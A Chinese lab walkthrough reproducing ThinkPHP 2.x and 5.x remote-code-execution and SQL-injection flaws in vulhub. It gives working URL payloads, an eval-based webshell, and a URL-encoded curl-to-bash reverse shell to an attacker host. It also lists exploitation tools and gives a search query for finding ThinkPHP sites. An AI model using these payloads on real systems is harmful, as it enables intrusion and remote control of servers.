1.Thinkphp框架
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。
2.环境搭建
靶机:windows7
phpstudy:apache+php5.4n
Thinkphp:5.0.1核心版
下载地址:https://www.thinkphp.cn/down
搭建成功:http://192.168.160.130/thinkphp_5.0.1_core/public/index.php
3.漏洞复现
环境:vulhub
3.1 thinkphp 2-rce
影响版本:ThinkPHP 2.x
docker-compose up -d
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由【preg_replace代码执行漏洞】,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
【preg_replace代码执行漏洞】
preg_replace 使用了 /e 模式时会导致代码执行,而且该函数的第一个和第三个参数都是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上面代码中 preg_replace 函数的第二个参数)当做代码来执行。
/e 修饰符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)
在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。
3.1.1 测试漏洞是否存在
payload:/index.php?s=/index/index/name/${@phpinfo()}
3.1.2 后门连接
payload:/index.php?s=a/b/c/${@print(eval($_POST[cmd]))}
http://192.168.160.133:8080/index.php?s=a/a/a/${@eval($_POST[cmd])}
利用POST方法进行命令传递
蚁剑连接:
3.1.3 反弹shell
攻击机IP:192.168.160.128
利用curl配合bash方式进行fantanshell
攻击机建立反弹shell脚本,并在脚本目录利用python开启简易HTTP服务。新建窗口使用NC监听8888把端口,等待shell连接。
# 反弹shell脚本:
echo "bash -i >& /dev/tcp/192.168.160.128/8888 0>&1" > a.sh
# 开启HTTP服务:
python3 -m http.server 80
# nc开启监听8888端口:
nc -lvp 8888
反弹shell:
3.2 thinkphp 5.0.23-rce
影响版本:Thinkphp 5.0.23
3.2.1 测试漏洞是否存在
payload:/index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
3.2.2 反弹shell
攻击机:192.168.160.128
同Thinkphp 2.x -rce,攻击机需做如下准备,通过curl配合bash的方式反弹shell。
# 反弹shell脚本:
echo "bash -i >& /dev/tcp/192.168.160.128/8888 0>&1" > a.sh
# 开启HTTP服务:
python3 -m http.server 80
# nc开启监听8888端口:
nc -lvp 8888
3.3 thinkphp 5-rce
影响版本:5.0.22-5.1.29
3.3.1 测试漏洞是否存在
payload:/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
3.3.2 反弹shell
攻击机:192.168.160.128
同Thinkphp 2.x -rce,攻击机需做如下准备,通过curl配合bash的方式反弹shell,其中由于是GET方式传参,payload需要经过URL编码。
payload:/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars1=%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%30%2e%31%32%38%2f%61%2e%73%68%20%7c%20%62%61%73%68
# 反弹shell脚本:
echo "bash -i >& /dev/tcp/192.168.160.128/8888 0>&1" > a.sh
# 开启HTTP服务:
python3 -m http.server 80
# nc开启监听8888端口:
nc -lvp 8888
3.4 thinkphp5 SQL注入漏洞(信息泄露)
影响版本:ThinkPHP < 5.1.23
3.4.1 测试漏洞是否存在
payload:/index.php?ids[]=1&ids[]=2
3.4.2 信息泄露漏洞
payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
4.自动化验证漏洞
4.1 ThinkPHP 综合利用工具V1.0 by 蓝鲸
4.2 ThinkphpGUI by 莲花
4.3 thinkPHPBatchPoc.py
4.4 TPscan.py
5. SRC
header="thinkphp"
原文始发于微信公众号(Matrix1024):ThinkPHP框架漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论